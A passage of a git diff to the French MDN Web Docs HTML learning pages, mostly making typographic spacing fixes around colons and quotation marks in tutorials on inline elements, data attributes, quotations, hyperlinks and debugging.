en ligne peuvent être placés à l'intérieur de l'élément `<body>`. +Un élément est une partie d'une page web. Certains éléments sont agissent comme des conteneurs : ils sont grands et contiennent de plus petits éléments. Certains éléments sont plus petits et sont imbriqués dans des éléments plus grands. Par défaut les éléments « en ligne » apparaissent les uns à côté des autres sur une page web. Ils prennent autant de largeur que nécessaire sur une page et s'organisent horizontalement à la façon des mots dans une phrase ou des livres dans une bibliothèque. Tous les éléments en ligne peuvent être placés à l'intérieur de l'élément `<body>`. <table class="standard-table"> <thead> @@ -232,7 +232,7 @@ mais <code>celui-ci représente du code</code>.</pre <td>{{HTMLElement("video")}}</td> <td id="video-example"> <pre class="brush: html"> -<video controls width="250" +<video controls width="250" src="https://archive.org/download/ElephantsDream/ed_hd.ogv" > L'élément <code>video</code> n'est pas pris en charge. </video></pre diff --git a/files/fr/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.md b/files/fr/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.md index ca692dcccd..ae3611bd40 100644 --- a/files/fr/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.md +++ b/files/fr/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.md @@ -14,7 +14,7 @@ Dans cet article, nous verrons comment construire une carte imagée cliquable en <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Vous devez au préalable savoir comment <a href="/fr/Apprendre/HTML/Écrire_une_simple_page_HTML" @@ -27,7 +27,7 @@ Dans cet article, nous verrons comment construire une carte imagée cliquable en </td> </tr> <tr> - <th scope="row">Objectifs :</th> + <th scope="row">Objectifs :</th> <td> Apprendre comment faire pour que différentes zones d'une même image pointent vers différentes pages. diff --git a/files/fr/learn/html/howto/author_fast-loading_html_pages/index.md b/files/fr/learn/html/howto/author_fast-loading_html_pages/index.md index 82dda020c3..6e32ba5c29 100644 --- a/files/fr/learn/html/howto/author_fast-loading_html_pages/index.md +++ b/files/fr/learn/html/howto/author_fast-loading_html_pages/index.md @@ -7,7 +7,7 @@ tags: translation_of: Learn/HTML/Howto/Author_fast-loading_HTML_pages original_slug: Web/Guide/HTML/Astuces_de_création_de_pages_HTML_à_affichage_rapide --- -C'est connu, les internautes sont de grands impatients, ils veulent des résultats immédiats, avec des gros titres et des réponses courtes et efficaces. +C'est connu, les internautes sont de grands impatients, ils veulent des résultats immédiats, avec des gros titres et des réponses courtes et efficaces. Une page web optimisé prévoit non seulement un site plus réactif, mais aussi de réduire la charge sur vos serveurs Web et votre connexion Internet. Cela peut être crucial pour les gros sites ou des sites qui ont un pic de trafic dans des circonstances exceptionnelles (telles que les Unes des journaux fracassantes). De plus, Google en tient compte pour son classement. ### Réduire le poids de la page @@ -26,7 +26,7 @@ Réduire le nombre de fichiers référencés dans une page web diminue le nombre - Utilisez le moins d'images possible sur votre site (et de gif animés ofc). Preferez des [boutons graphiques en CSS](http://css-tricks.com/examples/ButtonMaker/). - Compressez vos images (éviter les .png). Vous pouvez pour cela utiliser [Gimp](http://www.gimp.org/) ou [Imagemagik](http://www.imagemagick.org/script/index.php). -- Preferez le CSS ou le JavaScript au flash: il ralenti le navigateur. +- Preferez le CSS ou le JavaScript au flash: il ralenti le navigateur. Les videos sont diffusées progressivement depuis le serveur, elles ne ralentisseent donc pas le chargement de votre page. @@ -43,8 +43,8 @@ En particulier pour les pages qui sont générées dynamiquement, une petite rec Plus d'informations: 1. [HTTP Conditional Get for RSS Hackers](http://fishbowl.pastiche.org/2002/10/21/http_conditional_get_for_rss_hackers) - 2. [HTTP 304: Not Modified](http://annevankesteren.nl/archives/2005/05/http-304) - 3. [On HTTP Last-Modified and ETag](http://www.cmlenz.net/blog/2005/05/on_http_lastmod.html) + 2. [HTTP 304: Not Modified](http://annevankesteren.nl/archives/2005/05/http-304) + 3. [On HTTP Last-Modified and ETag](http://www.cmlenz.net/blog/2005/05/on_http_lastmod.html) ### Réduire le nombre de scripts en ligne @@ -54,18 +54,18 @@ Les scripts intégrés peut être coûteux pour le chargement de la page, puisqu L'utilisation de CSS modernes réduit la quantité de balisage, et peut réduire la nécessité de "spacer" les images, en termes de disposition, et peut très souvent remplacer des images de texte stylisé - qui "coutent" beaucoup plus que l'équivalent texte-et-CSS. Utiliser des balises valides a d'autres avantages. Tout d'abord, les navigateurs n'ont pas besoin d'effectuer de corrections d'erreurs lors de l'analyse du code HTML. -En outre, la validité du balisage permet la libre utilisation d'autres outils qui peuvent pré-traiter vos pages web. Par exemple, [HTML Tidy](http://tidy.sourceforge.net/) peut supprimer des espaces blancs et des balises facultatives, mais il refusera de s'exécuter sur une page avec des erreurs de balisage graves. +En outre, la validité du balisage permet la libre utilisation d'autres outils qui peuvent pré-traiter vos pages web. Par exemple, [HTML Tidy](http://tidy.sourceforge.net/) peut supprimer des espaces blancs et des balises facultatives, mais il refusera de s'exécuter sur une page avec des erreurs de balisage graves. ### Segmentez votre contenu Remplacer la mise en page basé sur des \<table> par des blocs \<div>, plutôt que des \<table> très imbriquée comme dans l'exemple suivant: <TABLE> - <TABLE> - <TABLE> - ... - </TABLE> - </TABLE> + <TABLE> + <TABLE> + ... + </TABLE> + </TABLE> </TABLE> Préferez des \<table> non-imbriquées ou \<div> comme dans l'exemple suivant: @@ -79,7 +79,7 @@ Préferez des \<table> non-imbriquées ou \<div> comme dans l'exemple suivant: Si le navigateur peut immédiatement déterminer la hauteur et/ou la largeur de vos images et tableaux, il sera capable d'afficher une page web sans avoir à refondre le contenu. Cela n'augmente pas seulement la vitesse d'affichage de la page, mais aussi à empêcher les changements gênants dans la disposition d'une page lors du chargement. Pour cette raison, la hauteur et la largeur doit être spécifié pour les images, chaque fois que possible. Les tableaux doivent utiliser le sélecteur CSS selector:property combination: - table-layout: fixed; + table-layout: fixed; et doit spécifier la largeur des colonnes en utilisant le COL et les balises html COLGROUP. diff --git a/files/fr/learn/html/howto/define_terms_with_html/index.md b/files/fr/learn/html/howto/define_terms_with_html/index.md index fea14083ae..0adb9134bf 100644 --- a/files/fr/learn/html/howto/define_terms_with_html/index.md +++ b/files/fr/learn/html/howto/define_terms_with_html/index.md @@ -14,7 +14,7 @@ HTML fournit plusieurs méthodes pour décrire la sémantique du contenu qu'on e <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Vous devez au préalable savoir comment <a href="/fr/Learn/HTML/Write_a_simple_page_in_HTML" @@ -23,7 +23,7 @@ HTML fournit plusieurs méthodes pour décrire la sémantique du contenu qu'on e </td> </tr> <tr> - <th scope="row">Objectifs :</th> + <th scope="row">Objectifs :</th> <td> Apprendre comment introduire de nouveaux mots-clés et comment construire une liste de définitions. diff --git a/files/fr/learn/html/howto/use_data_attributes/index.md b/files/fr/learn/html/howto/use_data_attributes/index.md index 4e494f5e2d..afab38eae7 100644 --- a/files/fr/learn/html/howto/use_data_attributes/index.md +++ b/files/fr/learn/html/howto/use_data_attributes/index.md @@ -14,14 +14,14 @@ original_slug: Apprendre/HTML/Comment/Utiliser_attributs_donnes ## Syntaxe HTML -La syntaxe est simple. Tout attribut d'un élément dont le nom commence par `data-` est un attribut de données (_data attribute_). Si par exemple vous avez un article pour lequel vous souhaitez stocker des informations supplémentaires et qui n'ont pas de représentation visuelle, il vous suffit d'utiliser des attributs de données pour cela : +La syntaxe est simple. Tout attribut d'un élément dont le nom commence par `data-` est un attribut de données (_data attribute_). Si par exemple vous avez un article pour lequel vous souhaitez stocker des informations supplémentaires et qui n'ont pas de représentation visuelle, il vous suffit d'utiliser des attributs de données pour cela : ```html <article - id="voitureelectrique" - data-columns="3" - data-index-number="12314" - data-parent="voitures"> + id="voitureelectrique" + data-columns="3" + data-index-number="12314" + data-parent="voitures"> ... </article> ``` @@ -73,7 +73,7 @@ Comme les valeurs des données sont des chaînes, toutes les valeurs doivent êt Ne stockez pas de contenu qui devrait être visible dans les attributs data, car les technologies d'assistance pourraient ne pas y avoir accès. De plus, les moteurs de recherche pourraient ne pas indexer les valeurs des attributs de données. -Les principaux problèmes à prendre en considération sont le support d'Internet Explorer et la performance. Internet Explorer 11+ prend en charge le standard, mais toutes les versions antérieures [ne prennent pas en charge le `dataset`](https://caniuse.com/#feat=dataset). Pour prendre en charge IE 10 et versions inférieures vous avez besoin d'accéder aux attributs data avec {{domxref("Element.getAttribute", "getAttribute()")}}. De plus, la [la performance de lecture des attributs de données](https://jsperf.com/data-dataset), au stockage dans des structures de données JavaScript est assez faible. Utiliser un `dataset` est même plus lent que lire les données avec `getAttribute()`. +Les principaux problèmes à prendre en considération sont le support d'Internet Explorer et la performance. Internet Explorer 11+ prend en charge le standard, mais toutes les versions antérieures [ne prennent pas en charge le `dataset`](https://caniuse.com/#feat=dataset). Pour prendre en charge IE 10 et versions inférieures vous avez besoin d'accéder aux attributs data avec {{domxref("Element.getAttribute", "getAttribute()")}}. De plus, la [la performance de lecture des attributs de données](https://jsperf.com/data-dataset), au stockage dans des structures de données JavaScript est assez faible. Utiliser un `dataset` est même plus lent que lire les données avec `getAttribute()`. Mais ceci dit, pour les métadonnées personnalisées associées aux éléments, c'est une excellente solution. diff --git a/files/fr/learn/html/howto/use_javascript_within_a_webpage/index.md b/files/fr/learn/html/howto/use_javascript_within_a_webpage/index.md index 5c11395239..cd0eff3a76 100644 --- a/files/fr/learn/html/howto/use_javascript_within_a_webpage/index.md +++ b/files/fr/learn/html/howto/use_javascript_within_a_webpage/index.md @@ -14,7 +14,7 @@ Dans cet article, nous verrons comment améliorer les pages web en ajoutant du c <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Vous devriez au préalable savoir comment <a href="/fr/Learn/HTML/Write_a_simple_page_in_HTML" @@ -23,7 +23,7 @@ Dans cet article, nous verrons comment améliorer les pages web en ajoutant du c </td> </tr> <tr> - <th scope="row">Objectifs :</th> + <th scope="row">Objectifs :</th> <td> Savoir comment utiliser du code JavaScript dans un fichier HTML et apprendre les bonnes pratiques afin que le code JavaScript utilisé soit @@ -77,7 +77,7 @@ L'accessibilité est un enjeu majeur du développement logiciel. JavaScript peut - **Toutes les fonctionnalités doivent être accessibles depuis le clavier.** - Les utilisateurs doivent pouvoir utiliser la touche de tabulation pour naviguer entre les différents contrôles (les liens, les entrées de formulaires, etc.) en suivant un ordre logique. - - Si vous utilisez les événements liés au pointage (les événéments liés à la souris ou au toucher), les fonctionnalités offertes doivent également être accessibles via le clavier. + - Si vous utilisez les événements liés au pointage (les événéments liés à la souris ou au toucher), les fonctionnalités offertes doivent également être accessibles via le clavier. - Testez votre site en utilisant uniquement le clavier. - **N'utilisez pas de limites de temps arbitraires.** Cela prend plus de temps de naviguer au clavier ou d'écouter le contenu lu par un lecteur d'écran. Il est donc impossible de prévoir combien de temps cela prendra pour qu'un utilisateur ou pour que le navigateur accomplisse une tâche donnée. diff --git a/files/fr/learn/html/index.md b/files/fr/learn/html/index.md index fc00b9925e..39e562dec8 100644 --- a/files/fr/learn/html/index.md +++ b/files/fr/learn/html/index.md @@ -1,5 +1,5 @@ --- -title: 'Apprendre le HTML : guides et didacticiels' +title: 'Apprendre le HTML : guides et didacticiels' slug: Learn/HTML tags: - Apprentissage @@ -13,11 +13,11 @@ original_slug: Apprendre/HTML --- {{LearnSidebar}} -> Pour créer des sites Web, vous devez connaître le {{Glossary('HTML')}} — technique fondamentale utilisée pour définir la structure d'une page Web. HTML est utilisé pour dire si votre contenu web doit être reconnu en tant que paragraphe, liste, en-tête, lien, image, lecteur multimédia, formulaire ou l'un des nombreux autres éléments disponibles ou même un nouvel élément à définir par vous même. +> Pour créer des sites Web, vous devez connaître le {{Glossary('HTML')}} — technique fondamentale utilisée pour définir la structure d'une page Web. HTML est utilisé pour dire si votre contenu web doit être reconnu en tant que paragraphe, liste, en-tête, lien, image, lecteur multimédia, formulaire ou l'un des nombreux autres éléments disponibles ou même un nouvel élément à définir par vous même. ## Parcours d'apprentissage -L'idéal serait que vous débutiez votre parcours d'apprentissage par l'étude du HTML. Commencez par lire [Introduction au HTML](/fr/docs/Web/Guide/HTML/Introduction). Vous pouvez ensuite passer à l'étude de sujets plus avancés comme : +L'idéal serait que vous débutiez votre parcours d'apprentissage par l'étude du HTML. Commencez par lire [Introduction au HTML](/fr/docs/Web/Guide/HTML/Introduction). Vous pouvez ensuite passer à l'étude de sujets plus avancés comme : - les [CSS](/fr/docs/Learn/CSS), et comment les utiliser pour donner un style au HTML (par exemple, modifier la taille du texte et les polices utilisées, ajouter des bordures et des ombres portées, mettre en page avec plusieurs colonnes, ajouter des animations et autres effets visuels). - le [JavaScript](/fr/docs/Learn/JavaScript), et comment l'utiliser pour ajouter des fonctionnalités dynamiques aux pages Web (par exemple, trouver votre emplacement et le tracer sur une carte, faire apparaître/disparaître des éléments d'interface utilisateur lorsque vous basculez un bouton, enregistrer les données des utilisateurs localement sur leurs ordinateurs, et bien plus encore). @@ -34,7 +34,7 @@ Cette rubrique contient les modules suivants, dans l'ordre suggéré pour les pa - : Ce module prépare le terrain, en vous familiarisant avec les concepts importants et la syntaxe, en examinant comment appliquer le HTML au texte, comment créer des hyperliens et comment utiliser le HTML pour structurer une page Web. - [Multimedia et intégration](/fr/docs/Learn/HTML/Multimedia_and_embedding) - : Ce module explore comment utiliser le HTML pour incorporer du multimédia dans vos pages Web, y compris les diverses façons d'inclure des images, et comment intégrer de la vidéo, de l'audio et même d'autres pages Web entières. -- [Tableaux HTML](/fr/docs/Learn/HTML/Tables) +- [Tableaux HTML](/fr/docs/Learn/HTML/Tables) - : Représenter des sous forme de tableaux sur une page Web de manière compréhensible, {{Glossary("Accessibilité", "accessible")}}} peut être un défi. Ce module porte sur le balisage basique des tableaux, ainsi que des fonctions plus complexes telles que l'implémentation de légendes et de résumés. - [Formulaire HTML](/fr/docs/Learn/HTML/Forms) - : Les formulaires sont une partie très importante du Web — ils fournissent la grande partie des fonctionnalités dont vous avez besoin pour interagir avec les sites Web, par exemple enregistrement et connexion, envoi de commentaires, achat de produits et plus encore. Ce module vous permet de commencer à créer la partie des formulaires côté client. diff --git a/files/fr/learn/html/introduction_to_html/advanced_text_formatting/index.md b/files/fr/learn/html/introduction_to_html/advanced_text_formatting/index.md index 7882566979..ea26226dfd 100644 --- a/files/fr/learn/html/introduction_to_html/advanced_text_formatting/index.md +++ b/files/fr/learn/html/introduction_to_html/advanced_text_formatting/index.md @@ -57,7 +57,7 @@ Dans les bases du texte en HTML, nous avons exposé comment on pouvait baliser [ aparté Dans une pièce de théâtre, action d'un acteur partageant une tirade uniquement avec le public en vue de produire un effet dramatique ou humoristique. Il s'agit le plus souvent d'un sentiment, d'une pensée secrète ou d'une information sur le contexte. -Les listes descriptives utilisent une enveloppe de balisage différente de celle des autres types de listes — {{htmlelement("dl")}} ; chaque terme est en plus entouré d'un élément {{htmlelement("dt")}} (**d**escription **t**erm) et chaque description d'un élément {{htmlelement("dd")}} (**d**escription **d**efinition). Terminons en balisant l'exemple ci‑dessus : +Les listes descriptives utilisent une enveloppe de balisage différente de celle des autres types de listes — {{htmlelement("dl")}} ; chaque terme est en plus entouré d'un élément {{htmlelement("dt")}} (**d**escription **t**erm) et chaque description d'un élément {{htmlelement("dd")}} (**d**escription **d**efinition). Terminons en balisant l'exemple ci‑dessus : ```html <dl> @@ -229,7 +229,7 @@ Le HTML possède également des fonctionnalités pour marquer les citations. Le ### Blocs de citation -Si une section ou un contenu de niveau bloc (que ce soit un paragraphe, de multiples paragraphes, une liste, etc.) est cité depuis une autre origine, vous pouvez le signaler en le mettant dans un élément {{htmlelement("blockquote")}} et en incluant une URL qui pointe vers la source de la citation dans un attribut {{htmlattrxref("cite","blockquote")}}. Par exemple, le balisage suivant provient de la page MDN pour l'élément `<blockquote>` : +Si une section ou un contenu de niveau bloc (que ce soit un paragraphe, de multiples paragraphes, une liste, etc.) est cité depuis une autre origine, vous pouvez le signaler en le mettant dans un élément {{htmlelement("blockquote")}} et en incluant une URL qui pointe vers la source de la citation dans un attribut {{htmlattrxref("cite","blockquote")}}. Par exemple, le balisage suivant provient de la page MDN pour l'élément `<blockquote>` : ```html <p>L'<strong>Élément HTML <code><blockquote></code></strong> (ou <em>Élément HTML bloc @@ -247,7 +247,7 @@ Pour le changer en bloc de citation, on ferait simplement ceci : </blockquote> ``` -Le navigateur l'affichera par défaut sous forme d'un paragraphe indenté, avec l'indication qu'il s'agit d'une citation ; MDN agit de même et y ajoute un style personnalisé : +Le navigateur l'affichera par défaut sous forme d'un paragraphe indenté, avec l'indication qu'il s'agit d'une citation ; MDN agit de même et y ajoute un style personnalisé : {{EmbedLiveSample("Blocs_de_citation")}} @@ -262,7 +262,7 @@ Les citations en ligne fonctionnent exactement de la même manière, sauf que l' pour de courtes citations ne nécessitant pas un nouvel alinéa</q>.</p> ``` -Le navigateur l'affichera par défaut comme du texte normal entre guillemets pour indiquer une citation, comme ceci : +Le navigateur l'affichera par défaut comme du texte normal entre guillemets pour indiquer une citation, comme ceci : {{EmbedLiveSample("Exemple_de_citation_en_ligne")}} @@ -286,18 +286,18 @@ Le contenu de l'attribut {{htmlattrxref("cite","blockquote")}} semble utile, mal Les citations sont affichées avec un police italique par défaut. Vous pouvez voir l'affichage de ce code dans l'exemple [quotations.html](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/advanced-text-formatting/quotations.html). -### Apprentissage actif : Qui a dit quoi ? +### Apprentissage actif : Qui a dit quoi ? -Il est temps de faire un autre apprentissage actif ! Dans cet exemple, nous souhaiterions que : +Il est temps de faire un autre apprentissage actif ! Dans cet exemple, nous souhaiterions que : 1. vous marquiez le paragraphe central comme étant une citation comprenant un attribut `cite`. 2. une partie du troisième paragraphe soit balisée en tant que citation en ligne, comprenant aussi un attribut `cite`. 3. vous incorporiez un élément `<cite>` pour chaque citation -L'origine des citations dont vous aurez besoin se trouvent aux pages : +L'origine des citations dont vous aurez besoin se trouvent aux pages : - http\://www\.brainyquote.com/quotes/authors/c/confucius.html pour la citation de Confucius, -- http\://www\.affirmationsforpositivethinking.com/index.html pour « The Need To Eliminate Negative Self Talk » (_De la nécessité d'éliminer un discours négatif sur soi‑même_). +- http\://www\.affirmationsforpositivethinking.com/index.html pour « The Need To Eliminate Negative Self Talk » (_De la nécessité d'éliminer un discours négatif sur soi‑même_). Si vous faites une erreur, vous pourrez toujours tout réinitialiser en pressant le bouton de même nom. Si vous êtes vraiment bloqué, pressez le bouton _Voir la solution_ pour obtenir la réponse. @@ -311,9 +311,9 @@ Si vous faites une erreur, vous pourrez toujours tout réinitialiser en pressant <p class="a11y-label">Pressez Esc pour sortir le focus de la Zone de saisie (Tab insère une tabulation).</p> <textarea id="code" class="input" style="min-height: 150px; width: 95%"> -<p>Salut et bienvenue sur ma page de motivation. Comme Confucius a dit en son temps :</p> +<p>Salut et bienvenue sur ma page de motivation. Comme Confucius a dit en son temps :</p> <p>La lenteur avec laquelle vous allez n'a pas d'importance tant que vous ne vous arrêtez pas.</p> -<p>J'aime aussi ce concept de pensée positive « Il est nécessaire d'éliminer le discours négatif sur soi-même » (comme dit dans « Affirmations for Positive Thinking ».)</p> +<p>J'aime aussi ce concept de pensée positive « Il est nécessaire d'éliminer le discours négatif sur soi-même » (comme dit dans « Affirmations for Positive Thinking ».)</p> </textarea> <div class="playable-buttons"> @@ -375,7 +375,7 @@ solution.addEventListener('click', function() { updateCode(); }); -var htmlSolution = '<p>Salut et bienvenue sur ma page de motivation. Comme <a href="http://www.brainyquote.com/quotes/authors/c/confucius.html"><cite>Confucius</cite></a> a dit en son temps :</p>\n\n<blockquote cite="http://www.brainyquote.com/quotes/authors/c/confucius.html">\n <p>La lenteur avec laquelle vous allez n\'a pas d\'importance tant que vous ne vous arrêtez pas.</p>\n</blockquote>\n\n<p>J\'aime aussi le concept de pensée positive <q cite="http://www.affirmationsforpositivethinking.com/index.htm"> Il est nécessaire d\'éliminer le discours négatif sur soi-même </q> (comme dit dans <a href="http://www.affirmationsforpositivethinking.com/index.htm"><cite>Affirmations for Positive Thinking</cite></a>.)</p>'; +var htmlSolution = '<p>Salut et bienvenue sur ma page de motivation. Comme <a href="http://www.brainyquote.com/quotes/authors/c/confucius.html"><cite>Confucius</cite></a> a dit en son temps :</p>\n\n<blockquote cite="http://www.brainyquote.com/quotes/authors/c/confucius.html">\n <p>La lenteur avec laquelle vous allez n\'a pas d\'importance tant que vous ne vous arrêtez pas.</p>\n</blockquote>\n\n<p>J\'aime aussi le concept de pensée positive <q cite="http://www.affirmationsforpositivethinking.com/index.htm"> Il est nécessaire d\'éliminer le discours négatif sur soi-même </q> (comme dit dans <a href="http://www.affirmationsforpositivethinking.com/index.htm"><cite>Affirmations for Positive Thinking</cite></a>.)</p>'; var solutionEntry = htmlSolution; textarea.addEventListener('input', updateCode); @@ -442,7 +442,7 @@ Je pense que le R. Green l'a fait dans la cuisine avec une tronçonneuse. > **Note :** Il existe un autre élément, {{htmlelement("acronym")}}, faisant fondamentalement la même chose que `<abbr>`, destiné spécifiquement aux acronymes plutôt qu'aux abréviations. Il est cependant tombé en désuétude — il n'était pas aussi bien pris en charge dans les navigateurs que \<abbr> et sa fonction était si ressemblante qu'on a considéré inutile d'avoir les deux. Il suffit d'utiliser \<abbr> à la place. -### Apprentissage actif : marquer une abréviation +### Apprentissage actif : marquer une abréviation Pour cet apprentissage actif, nous aimerions que vous balisiez simplement une abréviation. Vous pouvez utiliser notre élément ci-après ou le remplacer par un de votre cru. @@ -579,7 +579,7 @@ HTML possède l'élément {{htmlelement("address")}} pour baliser des détails d </address> ``` -Une chose à retenir cependant : l'élément {{htmlelement("address")}} est destiné à marquer les coordonnées de la personne ayant écrit le document HTML et non pas _n'importe quelle_ adresse. Donc, ce qui précède ne serait acceptable que si Chris avait écrit le document sur lequel ce balisage apparaît. Notez que serait également acceptable ce qui suit : +Une chose à retenir cependant : l'élément {{htmlelement("address")}} est destiné à marquer les coordonnées de la personne ayant écrit le document HTML et non pas _n'importe quelle_ adresse. Donc, ce qui précède ne serait acceptable que si Chris avait écrit le document sur lequel ce balisage apparaît. Notez que serait également acceptable ce qui suit : ```html <address> @@ -597,7 +597,7 @@ Vous devrez parfois utiliser exposants et indices pour marquer des éléments co <p>Si x<sup>2</sup> égale 9, x doit valoir 3 ou -3.</p> ``` -Les sorties produites par ces lignes de code se présentent comme suit : +Les sorties produites par ces lignes de code se présentent comme suit : Ma date de naissance est le 1<sup>er</sup> mai 2001. @@ -607,15 +607,15 @@ Si x^2 égale 9, x doit valoir 3 ou -3. ## Représentation du code informatique -HTML met à votre dispositon un certain nombre d'éléments pour marquer du code informatique : +HTML met à votre dispositon un certain nombre d'éléments pour marquer du code informatique : -- {{htmlelement("code")}} : pour marquer des parties génériques de code. -- {{htmlelement("pre")}} : pour conserver les blancs (généralement dans les blocs de code) — si vous indentez ou mettez des blancs en excès dans votre texte, les navigateurs les ignoreront et vous ne les verrez plus dans le rendu de la page. Par contre si vous enveloppez le texte dans des balises \<pre>\</pre>, les blancs seront rendus tels qu'il se présentent dans votre éditeur de texte. -- {{htmlelement("var")}} : pour marquer spécifiquement les noms de variables. -- {{htmlelement("kbd")}} : pour marquer les touches de clavier (et autres types d'entrées) à presser sur l'ordinateur. -- {{htmlelement("samp")}} : pour marquer une sortie de programme. +- {{htmlelement("code")}} : pour marquer des parties génériques de code. +- {{htmlelement("pre")}} : pour conserver les blancs (généralement dans les blocs de code) — si vous indentez ou mettez des blancs en excès dans votre texte, les navigateurs les ignoreront et vous ne les verrez plus dans le rendu de la page. Par contre si vous enveloppez le texte dans des balises \<pre>\</pre>, les blancs seront rendus tels qu'il se présentent dans votre éditeur de texte. +- {{htmlelement("var")}} : pour marquer spécifiquement les noms de variables. +- {{htmlelement("kbd")}} : pour marquer les touches de clavier (et autres types d'entrées) à presser sur l'ordinateur. +- {{htmlelement("samp")}} : pour marquer une sortie de programme. -Voyons quelques exemples. Essayez de jouer avec cela (faites une copie de notre fichier exemple [other-semantics.html](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/advanced-text-formatting/other-semantics.html)) : +Voyons quelques exemples. Essayez de jouer avec cela (faites une copie de notre fichier exemple [other-semantics.html](https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/advanced-text-formatting/other-semantics.html)) : ```html <pre><code>var para = document.querySelector('p'); @@ -636,7 +636,7 @@ para.onclick = function() { 64 bytes from mozilla.org (63.245.208.195): icmp_seq=1 ttl=46 time=191 ms</samp></pre> ``` -Ce code se présente ainsi : +Ce code se présente ainsi : {{ EmbedLiveSample('Représentation_du_code_informatique','100%',300) }} @@ -673,7 +673,7 @@ L'exemple de base ci-dessus ne fournit qu'une simple date lisible par machine, m <time datetime="01-20">20 janvier</time> <!-- Juste l'heure, heure et minutes --> <time datetime="19:30">19h30</time> -<!-- Vous pouvez aussi mettre les secondes et les millisecondes ! --> +<!-- Vous pouvez aussi mettre les secondes et les millisecondes ! --> <time datetime="19:30:01.856">19h30m1,856s</time> <!-- Date et heure --> <time datetime="2016-01-20T19:30">19h30, le 20 janvier 2016</time> diff --git a/files/fr/learn/html/introduction_to_html/creating_hyperlinks/index.md b/files/fr/learn/html/introduction_to_html/creating_hyperlinks/index.md index 7883e57b89..fdc4ee1fad 100644 --- a/files/fr/learn/html/introduction_to_html/creating_hyperlinks/index.md +++ b/files/fr/learn/html/introduction_to_html/creating_hyperlinks/index.md @@ -215,7 +215,7 @@ Autres conseils : - Ne répétez pas l'URL dans le texte du lien — les URL sont moches, et elles le sont encore plus à entendre quand un lecteur d'écran les épèle. - Ne dites pas « lien » ou « liens vers... » dans le texte du lien, ce n'est que du rabâchage. Les lecteurs d'écran indiquent aux gens qu'il y a un lien. Les utilisateurs visuels verront aussi qu'il y a un lien, du fait que les liens sont généralement de couleur différente et soulignés (de façon générale, cette convention tacite ne devrait pas être trahie, car les utilisateurs y sont très habitués). - Faites que vos étiquettes de lien soient aussi courtes que possible : les liens longs agacent particulièrement les utilisateurs de lecteurs d'écran, qui doivent en écouter la lecture entière. -- Minimiser les cas où plusieurs copies d'un même texte pointent vers des emplacements différents. Afficher une liste de liens hors contexte peut poser problème aux utilisateurs de lecteurs d'écran : ainsi plusieurs liens tous étiquetés « cliquez ici », « cliquez ici », « cliquez ici » seront source de confusion. +- Minimiser les cas où plusieurs copies d'un même texte pointent vers des emplacements différents. Afficher une liste de liens hors contexte peut poser problème aux utilisateurs de lecteurs d'écran : ainsi plusieurs liens tous étiquetés « cliquez ici », « cliquez ici », « cliquez ici » seront source de confusion. ### Utilisez des liens relatifs partout où c'est possible diff --git a/files/fr/learn/html/introduction_to_html/debugging_html/index.md b/files/fr/learn/html/introduction_to_html/debugging_html/index.md index f30e1ee88b..21ba749a22 100644 --- a/files/fr/learn/html/introduction_to_html/debugging_html/index.md +++ b/files/fr/learn/html/introduction_to_html/debugging_html/index.md @@ -20,7 +20,7 @@ original_slug: Apprendre/HTML/Introduction_à_HTML/Debugging_HTML <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Être familiarisé avec les bases du HTML, traitées aux pages <a @@ -38,7 +38,7 @@ original_slug: Apprendre/HTML/Introduction_à_HTML/Debugging_HTML </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> Apprendre les bases de l'utilisation des outils de débogage pour détecter des problèmes en HTML. @@ -51,32 +51,32 @@ original_slug: Apprendre/HTML/Introduction_à_HTML/Debugging_HTML Quand on écrit du code , tout va généralement bien, jusqu'au moment redouté où une erreur se produit — vous avez fait quelque chose d'incorrect, donc votre code ne fonctionne pas — soit pas du tout, soit pas tout à fait comme vous l'aviez souhaité. Par exemple, ce qui suit montre une erreur signalée lors d'une tentative de {{glossary("compile","compilation")}} d'un programme simple écrit en Rust. -Ici, le message d'erreur est relativement facile à comprendre — « unterminated double quote string » : il manque un guillemet double ouvrant ou fermant pour envelopper la chaîne. Si vous regardez le listage, vous verrez `println!(Salut, Ô Monde!");` il manque un guillemet double. Cependant, des messages d'erreur peuvent devenir plus complexes et plus abscons au fur et à mesure que le programme grossit et, même dans des cas simples devenir intimidants à quelqu'un qui ne connaît rien du Rust. +Ici, le message d'erreur est relativement facile à comprendre — « unterminated double quote string » : il manque un guillemet double ouvrant ou fermant pour envelopper la chaîne. Si vous regardez le listage, vous verrez `println!(Salut, Ô Monde!");` il manque un guillemet double. Cependant, des messages d'erreur peuvent devenir plus complexes et plus abscons au fur et à mesure que le programme grossit et, même dans des cas simples devenir intimidants à quelqu'un qui ne connaît rien du Rust. Déboguer ne doit toutefois pas devenir un problème — la clé pour être à l'aise lors de l'écriture et du débogage d'un programme réside dans une bonne connaissance à la fois du langage et des outils. ## HTML et le débogage -HTML n'est pas aussi compliqué à comprendre que le Rust. HTML n'est pas compilé sous une forme différente avant que le navigateur n'ait fait son analyse et affiche le résultat (il est _interprété_, pas _compilé_). Et la syntaxe des {{glossary("element","éléments")}} HTML est sans doute beaucoup plus facile à comprendre qu'un « vrai langage de programmation » tel le Rust, le {{glossary("JavaScript")}} ou le {{glossary("Python")}}. La façon dont les navigateurs analysent le HTML est beaucoup plus **permissive** que celle des langages de programmation, ce qui est à la fois une bonne et une mauvaise chose. +HTML n'est pas aussi compliqué à comprendre que le Rust. HTML n'est pas compilé sous une forme différente avant que le navigateur n'ait fait son analyse et affiche le résultat (il est _interprété_, pas _compilé_). Et la syntaxe des {{glossary("element","éléments")}} HTML est sans doute beaucoup plus facile à comprendre qu'un « vrai langage de programmation » tel le Rust, le {{glossary("JavaScript")}} ou le {{glossary("Python")}}. La façon dont les navigateurs analysent le HTML est beaucoup plus **permissive** que celle des langages de programmation, ce qui est à la fois une bonne et une mauvaise chose. ### Code 